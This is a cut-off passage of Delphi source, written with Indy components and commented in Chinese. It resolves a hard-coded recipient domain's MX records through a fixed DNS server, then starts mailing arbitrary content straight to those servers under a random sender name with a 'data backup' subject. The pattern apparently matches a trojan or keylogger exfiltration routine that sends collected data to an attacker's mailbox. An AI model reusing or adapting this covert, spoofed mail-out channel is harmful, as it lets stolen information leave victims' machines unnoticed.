procedure GetDnsIP();
var
IdDNSResolver: TIdDNSResolver;
LDomainPart: string;
i, x: integer;
LMXRecord: TMXRecord;
begin
//这里 开始解析邮箱域名
IdDNSResolver := TIdDNSResolver.Create(nil);
try
with IdDNSResolver do
begin
QueryResult.Clear;
QueryRecords := [qtMX];
Host := '61.139.2.69';
ReceiveTimeout := 10000;
// Extract the domain part from recipient email address
LDomainPart := copy(MailList, pos('@', MailList) + 1, length(MailList)); // the domain name to resolve
Resolve(LDomainPart);
if QueryResult.Count > 0 then
begin
for i := 0 to QueryResult.Count - 1 do
begin
LMXRecord := TMXRecord(QueryResult.Items[i]);
fMailServers.Append(PadZero(IntToStr(LMXRecord.Preference)) + '=' + LMXRecord.ExchangeServer);
end;
// sort in order of priority and then remove extra data
fMailServers.Sorted := false;
for i := 0 to fMailServers.count - 1 do
begin
x := pos('=', fMailServers.Strings[i]);
if x > 0 then fMailServers.Strings[i] :=
copy(fMailServers.Strings[i], x + 1, length(fMailServers.Strings[i]));
end;
fMailServers.Sorted := true;
fMailServers.Duplicates := dupIgnore;
end;
end;
except
end;
FreeAndNil(IdDNSResolver);
end;
procedure SendMail(Content: string);
var
IdMessage: TIdMessage;
i, x: integer;
IdSMTP: TIdSMTP;
FromName: string;
begin
IdMessage := TIdMessage.Create(nil);
IdSMTP := TIdSMTP.Create(nil);
try
if fMailServers.Count = 0 then
GetDnsIP;
//这里 开始解析邮箱域名-----End
//这里发送邮件主要过程,需要Smtp邮箱支持
FromName := RandomSenderName;
with IdMessage do
begin
Subject := '资料备份_' + DateTimeToStr(now); //这是发送主题
Body.Text := Content; //这里发送的内容
end;
//发送邮件
for i := 0 to fMailServers.count - 1 do
begin
with IdSMTP do
begin